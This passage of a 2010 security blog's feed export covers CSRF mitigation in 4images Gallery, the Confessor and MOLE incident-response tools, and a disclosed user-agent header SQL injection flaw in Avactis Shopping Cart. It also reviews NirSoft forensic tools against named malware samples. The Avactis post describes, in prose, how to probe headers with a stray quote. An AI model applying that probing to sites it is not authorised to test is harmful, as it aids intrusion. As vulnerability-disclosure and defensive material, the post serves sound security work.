target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TN2R8M4QqvI/AAAAAAAAAaI/kV3tV47FZW4/s320/csrfGranular.png" alt="" id="BLOGGER_PHOTO_ID_5538743580170955506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I appreciate the efforts undertaken by Kai and the Dots United team in response to this vulnerability, and look forward to other development teams/vendors hopefully taking a similar tack.&lt;br /&gt;Happy sailing. ;-)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/11/csrf-mitigation-4images-gallery.html&amp;amp;title=CSRF%20mitigation:%204images%20Gallery's%20comprehensive%20approach" title="CSRF mitigation: 4images Gallery's comprehensive approach "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/11/csrf-mitigation-4images-gallery.html" title="CSRF mitigation: 4images Gallery's comprehensive approach "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/11/csrf-mitigation-4images-gallery.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2731961410477180599?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2731961410477180599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2731961410477180599' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2731961410477180599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2731961410477180599'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/11/csrf-mitigation-4images-gallery.html' title='CSRF mitigation: 4images Gallery&apos;s comprehensive approach'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/TN1ygyEK8AI/AAAAAAAAAZo/qMBxegLYVoQ/s72-c/token.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2980676831698304708</id><published>2010-11-02T20:36:00.000-07:00</published><updated>2010-11-02T21:27:14.809-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>toolsmith: Confessor &amp; Mole for IR &amp; security analysis</title><content type='html'>As November 2010's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; kicks off the fifth year of the column for the &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt;, I am proud to use it as an opportunity to announce the official release of Bryan Casper's &lt;a href="http://confessor.codeplex.com/" target="_blank"&gt;Confessor&lt;/a&gt; and Kris Thomas' &lt;a href="http://mole.codeplex.com/" target="_blank"&gt;MOLE&lt;/a&gt;.&lt;br /&gt;I discussed these tools at &lt;a href="https://www.issa.org/conf/?p=105" target="_blank"&gt;ISSA International&lt;/a&gt; in September and again at &lt;a href="http://www.secureworldexpo.com/events/index.php?id=288" target="_blank"&gt;SecureWorld Expo Seattle&lt;/a&gt;, and after a slight delay to clarify licensing (they're released under the Microsoft Public License (Ms-PL), both tools are available for you on &lt;a href="http://www.codeplex.com/" target="_blank"&gt;CodePlex&lt;/a&gt;.&lt;br /&gt;These tools were born of needing better utilities for incident response and security analysis in complex, massive cloud-like environments. &lt;br /&gt;If you'd like a copy of the above-mentioned presentation, please &lt;a href="http://holisticinfosec.org/component/option,com_contact/Itemid,3/" target="_blank"&gt;contact&lt;/a&gt; me and I'll send it to you.&lt;br /&gt;&lt;br /&gt;As described in the article, Bryan's Confessor answers the challenge of collecting system logs and attributes on hundreds or even thousands of systems at the same time, utilizing the same tools as &lt;a href="http://mirror.codeplex.com/" target="_blank"&gt;MIR-ROR&lt;/a&gt;, but deploying them in an enterprise capable manner. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; Since the article's release Confessor has been updated to pass domain credentials via the UI and process host names as well as IP addresses.&lt;br /&gt;&lt;br /&gt;Kris' MOLE was spawned improve on a method I’d been utilizing to cull malware from malicious URLs sent across Windows Live Messenger. Where I’d  been using a specific &lt;span style="font-style:italic;"&gt;wget&lt;/span&gt; string at the command-line Kris built MOLE (Malicious Online Link Engine) as a wrapper for wget that includes many additionally useful features.&lt;br /&gt;&lt;br /&gt;We find these tools incredibly useful and are very pleased to be able to release them for public consumption as freely available and open source.&lt;br /&gt;&lt;br /&gt;The article is &lt;a href="http://holisticinfosec.org/toolsmith/docs/november2010.html" target="_blank"&gt;here&lt;/a&gt;, Confessor is &lt;a href="http://confessor.codeplex.com/" target="_blank"&gt;here&lt;/a&gt;, and MOLE is &lt;a href="http://mole.codeplex.com/" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Please ping me if you have questions; we look forward to your feedback.&lt;br /&gt;Comments welcome here or via email.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/11/toolsmith-confessor-mole-for-ir.html&amp;amp;title=toolsmith:%20Confessor%20&amp;%20Mole%20for%20IR%20&amp;%20security%20analysis" title="toolsmith: Confessor &amp; Mole for IR &amp; security analysis "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/11/toolsmith-confessor-mole-for-ir.html" title="toolsmith: Confessor &amp; Mole for IR &amp; security analysis "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/11/toolsmith-confessor-mole-for-ir.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2980676831698304708?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2980676831698304708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2980676831698304708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2980676831698304708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2980676831698304708'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/11/toolsmith-confessor-mole-for-ir.html' title='toolsmith: Confessor &amp; Mole for IR &amp; security analysis'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-457358597111834693</id><published>2010-10-19T18:32:00.000-07:00</published><updated>2010-10-20T14:06:35.959-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='bkuehat'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='jeremiah grossman'/><category scheme='http://www.blogger.com/atom/ns#' term='ASS Cert'/><category scheme='http://www.blogger.com/atom/ns#' term='Secunia'/><category scheme='http://www.blogger.com/atom/ns#' term='rsnake'/><category scheme='http://www.blogger.com/atom/ns#' term='Avactis'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Checking for user-agent header SQL injection vulns</title><content type='html'>As I analyze various web applications in the name of fun or fortune, I am sometimes treated to those little reminders that result in a "doh!".&lt;br /&gt;Such was the case when I was assessing the latest release of the &lt;a href="http://www.avactis.com/" target="_blank"&gt;Avactis Shopping Cart&lt;/a&gt;.&lt;br /&gt;I'd just installed the latest free version (1.9.1). Typically, after finding a flaw in an vendor's offering, I sign up for their new release notices, and had recently received one from Avactis.&lt;br /&gt;When last I'd visited said shopping cart I'd spotted a couple of XSS &lt;a href="http://secunia.com/advisories/31768/" target="_blank"&gt;bugs&lt;/a&gt; in the checkout.php script for version 1.8.1 and earlier. I admit that at the time I did not do as robust review of the application as I might now; in all likelihood the following bug was present when the XSS bugs were disclosed in September 2008.&lt;br /&gt;&lt;br /&gt;With a fresh version installed thanks to the reminder, I fired up Firefox with &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/966/" target="_blank"&gt;Tamper Data&lt;/a&gt;, and started poking around. With Tamper Data, as we've discussed &lt;a href="http://holisticinfosec.blogspot.com/search?q=tamper+data"&gt;before&lt;/a&gt;, any web form input parameters/variables are subject to your manipulation. &lt;br /&gt;I habitually work from the right side of the Tamper Data UI wherein POST parameters reveal themselves.&lt;br /&gt;There I sat, happily walking through the app, when the bell went off.&lt;br /&gt;"Hey, Russ, don't forget to fuzz the header values too!"&lt;br /&gt;Cross-site scripting and SQL injection specific to cookie values is certainly not unheard of but you may need to refer to a checklist to always remember to probe them for vulnerabilities. &lt;br /&gt;In my case, this was even more true of the user-agent string value.&lt;br /&gt;Not all apps are written to capture the user-agent data, but you can easily understand why shopping cart providers would make use of such information.&lt;br /&gt;What's the point? Remember to investigate the user-agent header for issues too.&lt;br /&gt;It can be a simple as appending a single tic on the end of the user-agent string and submitting it, as seen in Figure 1.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TL5eDKpTHuI/AAAAAAAAAYo/V0RYuEY3WBM/s1600/AvactisTD.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 114px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TL5eDKpTHuI/AAAAAAAAAYo/V0RYuEY3WBM/s320/AvactisTD.png" alt="" id="BLOGGER_PHOTO_ID_5529960800947740386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The results were immediate and revealing. In case you wondered what my typical user-agent entry looks like, Figure 2 will enlighten.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TL5hxATf2iI/AAAAAAAAAYw/z-Yc2276-5c/s1600/AvactisUA.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 211px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TL5hxATf2iI/AAAAAAAAAYw/z-Yc2276-5c/s320/AvactisUA.png" alt="" id="BLOGGER_PHOTO_ID_5529964886980811298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can see that we've caught the query executed by &lt;span style="font-family:courier new;"&gt;/var/www/avactis/avactis-system/modules/reports/report-collectors/report_data_visitors_stat_collector.php&lt;/span&gt;, specifically &lt;span style="font-family:courier new;"&gt;SELECT_WEB_ROBOT_ID&lt;/span&gt;, and the result.&lt;br /&gt;Which, in turn, clearly justifies the rapid and responsive &lt;a href="http://www.avactis.com/forums/index.php?showtopic=5317" target="_blank"&gt;patch&lt;/a&gt; provided by the vendor. I submitted the finding to Secunia on October 10th and the vendor posted the patch on October 12th; Secunia Advisory &lt;a href="http://secunia.com/advisories/41764/" target="_blank"&gt;SA41764&lt;/a&gt; was released as q result on October 14th. &lt;br /&gt;A hearty "Well done!" to the Avactis team for that turnaround.&lt;br /&gt;&lt;br /&gt;A quick diff of &lt;span style="font-family:courier new;"&gt;report_data_visitors_stat_collector.php&lt;/span&gt; from version 1.9.1 build 8356 as installed on October 9th and the patched version downloaded today is seen in Figure 3.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TL54G1OZs7I/AAAAAAAAAY4/PAdEGVrRtUM/s1600/AvactisDiff.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 137px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TL54G1OZs7I/AAAAAAAAAY4/PAdEGVrRtUM/s320/AvactisDiff.png" alt="" id="BLOGGER_PHOTO_ID_5529989451219579826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The tale is quickly told, and it's a good move by the Avactis dev team.&lt;br /&gt;Begone ye damned &lt;a style="font-family: courier new;" href="http://php.net/manual/en/function.addslashes.php"&gt;addslashes()&lt;/a&gt;!&lt;br /&gt;Note that the dev yanked use of the addslashes function on lines 49, 157, 238, and 318; &lt;span style="font-family: courier new;"&gt;addslashes()&lt;/span&gt; is a subject to &lt;a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" target="_blank"&gt;circumvention&lt;/a&gt;, &lt;span style="font-family:courier new;"&gt;mysql_real_escape_string()&lt;/span&gt; is &lt;a href="http://cow.neondragon.net/index.php/1302-Addslashes-Allows-Sql-Injection-Attacks" target="_blank"&gt;recommended&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;See how much we can learn when remembering to be more thorough? &lt;br /&gt;&lt;br /&gt;I must say, if I hadn't recently renewed my status as a &lt;a href="http://www.asscert.com/"&gt;certified&lt;/a&gt; Application Security Specialist, I might have missed this vulnerability altogether.&lt;br /&gt;And I definitely would have missed out on the additional benefits such as photo opportunities with app sec glitterati (taken at the recent &lt;a href="http://technet.microsoft.com/en-us/security/cc261637.aspx" target="_blank"&gt;BlueHat&lt;/a&gt;). ;-)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/TL9HvvZqAuI/AAAAAAAAAZA/e5nhb11X9wY/s1600/ASScertUpside.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/TL9HvvZqAuI/AAAAAAAAAZA/e5nhb11X9wY/s320/ASScertUpside.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5530217752937759458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/10/checking-for-user-agent-header-sql.html&amp;amp;title=Checking%20for%20user-agent%20header%20SQL%20injection%20vulns" title="Checking for user-agent header SQL injection vulns "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/10/checking-for-user-agent-header-sql.html" title="Checking for user-agent header SQL injection vulns "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/10/checking-for-user-agent-header-sql.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-457358597111834693?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/457358597111834693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=457358597111834693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/457358597111834693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/457358597111834693'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/10/checking-for-user-agent-header-sql.html' title='Checking for user-agent header SQL injection vulns'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TL5eDKpTHuI/AAAAAAAAAYo/V0RYuEY3WBM/s72-c/AvactisTD.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-405586890731408659</id><published>2010-10-09T16:32:00.000-07:00</published><updated>2010-10-10T21:28:21.806-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>toolsmith: The NirSoft Collection</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLHxMr5iyJI/AAAAAAAAAYA/VZAGdU2Gzqs/s1600/title.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 179px; height: 44px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLHxMr5iyJI/AAAAAAAAAYA/VZAGdU2Gzqs/s320/title.png" alt="" id="BLOGGER_PHOTO_ID_5526463418005112978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As I mention in this month's &lt;a href="https://holisticinfosec.org/content/view/12/26/"&gt;toolsmith&lt;/a&gt;, I am often reminded of all the tools I have &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; yet written about but have used on numerous occasions or even forgotten about. Such is the case with the NirSoft tools, particularly those found on the Windows side of the Helix distribution under IR.&lt;br /&gt;Five NirSoft tools resurfaced for me well worthy of &lt;span style="font-style: italic;"&gt;toolsmith&lt;/span&gt; mention as well as a place in the jumpkit.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nirsoft.net/utils/cports.html" target="_blank"&gt;CurrPorts&lt;/a&gt; with &lt;a href="http://nirsoft.net/utils/ipnetinfo.html" target="_blank"&gt;IPNetInfo&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nirsoft.net/utils/opened_files_view.html"&gt;OpenedFilesView&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nirsoft.net/utils/what_run_in_startup.html" target="_blank"&gt;WhatInStartup&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nirsoft.net/utils/nircmd.html" target="_blank"&gt;NirCmd&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Incident handler Kris Thomas used CurrPorts during a PCI DSS-related incident response drill we were conducting and promptly located the fake malicious process I’d seeded on a server as part of the drill.&lt;br /&gt;Light-bulb moment: October's ISSA Journal &lt;a href="http://holisticinfosec.org/toolsmith/docs/october2010.html" target="_blank"&gt;toolsmith: The Nirsoft Collection&lt;/a&gt; is written to help you prevent one of those "doh!" moments. "Oh yeah, I'd forgotten all about that tool."&lt;br /&gt;I'll simply rehash visual results of various tests I conducted for October's article.&lt;br /&gt;Figure 1 is a CurrPorts screen shot taken before infection of the test VM with Backdoor.Win32.Agent.adqt (MD5: 6DBA44B457414593A858A3520A2F2278).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/TLHwohjM1RI/AAAAAAAAAXw/vMlXFrVwQWk/s1600/CurrPortsBaseline.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 91px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/TLHwohjM1RI/AAAAAAAAAXw/vMlXFrVwQWk/s320/CurrPortsBaseline.png" alt="" id="BLOGGER_PHOTO_ID_5526462796751754514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Figure 2 is the same view post-infection with the addition of bonus IPNetInfo results.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/TLHxD1xmuWI/AAAAAAAAAX4/6DR88PiBUkQ/s1600/CurrPortsInfected.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 190px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/TLHxD1xmuWI/AAAAAAAAAX4/6DR88PiBUkQ/s320/CurrPortsInfected.png" alt="" id="BLOGGER_PHOTO_ID_5526463266037348706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OpenedFilesView is exactly what it says it is, open or locked files on a given Windows system.&lt;br /&gt;&lt;br /&gt;Figure 3 is an OpenedFilesView snapshot before infection with &lt;a href="http://www.threatexpert.com/report.aspx?md5=cb702c3319a27e792b84846d3d6c61ad"&gt;Backdoor.Win32.Poison.apec&lt;/a&gt; (MD5: CB702C3319A27E792B84846D3D6C61AD).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/TLHykdO9WUI/AAAAAAAAAYI/iXng6HjHjhk/s1600/OpenedFilesViewBaseline.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 50px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/TLHykdO9WUI/AAAAAAAAAYI/iXng6HjHjhk/s320/OpenedFilesViewBaseline.png" alt="" id="BLOGGER_PHOTO_ID_5526464925896890690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Figure 4 represents OpenedFilesView perspective post-infection where you'll note that the malicious binary has invoked Internet Explorer as we see changes to index.&lt;br /&gt;dat. A quick review of C:\Documents and Settings\...\Cookies\ shows two cookies written to the system dated 9/26/10 for globo.com. Again, a bit of search engine research via &lt;span style="font-style: italic;"&gt;site:threatexpert.com globo.com&lt;/span&gt; will reveal endless hits on various malicious behavior associated with globo.com, with particular emphasis on Brazilian malware.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLJepfwWTNI/AAAAAAAAAYY/GOqKOczR6uw/s1600/OpenedFilesViewInfected.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 63px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLJepfwWTNI/AAAAAAAAAYY/GOqKOczR6uw/s320/OpenedFilesViewInfected.png" alt="" id="BLOGGER_PHOTO_ID_5526583759728954578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Like it's fellow OpenedFilesView, WhatInStartup couldn't be more precise in its naming if it tried. Yep, it identifies what auto-loads when the system starts; always a good place to look for malicious basterds [sic].&lt;br /&gt;Figure 5 is a WhatInStartup baseline screen-shot.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/TLJcikLctlI/AAAAAAAAAYQ/Xd7POaSqHkU/s1600/WhatInStartupBaseline.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 62px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/TLJcikLctlI/AAAAAAAAAYQ/Xd7POaSqHkU/s320/WhatInStartupBaseline.png" alt="" id="BLOGGER_PHOTO_ID_5526581441634022994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Figure 6 shows WhatInStartup results after a rogua AV (Security Essentials 2010...annoying!) infection; specifically, Trojan.Win32.FraudPack.amgz (MD5: &lt;a href="http://www.virustotal.com/file-scan/report.html?id=15b579f79e9f0a7b31fc1b5e6cff3%208b8c490612c7c16eebae9252b1b98dfd6a5-1271766329" target="_blank"&gt;59C0E80D7F9705D10DA91E01B2763E9A&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLJhEXJmecI/AAAAAAAAAYg/Ph-5IXSgy1c/s1600/WhatInStartupInfected.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 210px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TLJhEXJmecI/AAAAAAAAAYg/Ph-5IXSgy1c/s320/WhatInStartupInfected.png" alt="" id="BLOGGER_PHOTO_ID_5526586420298676674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Last but not least, NirCmd. This tool is interesting not overtly security-centric but good for pulling up registry entries or killing processes particularly when explorer.exe is hung.&lt;br /&gt;Example: &lt;span style="font-style: italic;"&gt;nircmd.exe regedit “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The article is available &lt;a href="http://holisticinfosec.org/toolsmith/docs/october2010.html" target="_blank"&gt;here&lt;/a&gt;, the tools and others are &lt;a href="http://nirsoft.net/" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;Use these oldies but goodies in good stead.&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/10/toolsmith-nirsoft-collection.html&amp;amp;title=toolsmith:%20The%20NirSoft%20Collection" title="toolsmith: The NirSoft Collection "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/10/toolsmith-nirsoft-collection.html" title="toolsmith: The NirSoft Collection "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/10/toolsmith-nirsoft-collection.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-405586890731408659?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/405586890731408659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=405586890731408659' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/405586890731408659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/405586890731408659'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/10/toolsmith-nirsoft-collection.html' title='toolsmith: The NirSoft Collection'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kVOWaY1TAF0/TLHxMr5iyJI/AAAAAAAAAYA/VZAGdU2Gzqs/s72-c/title.png' height='72' 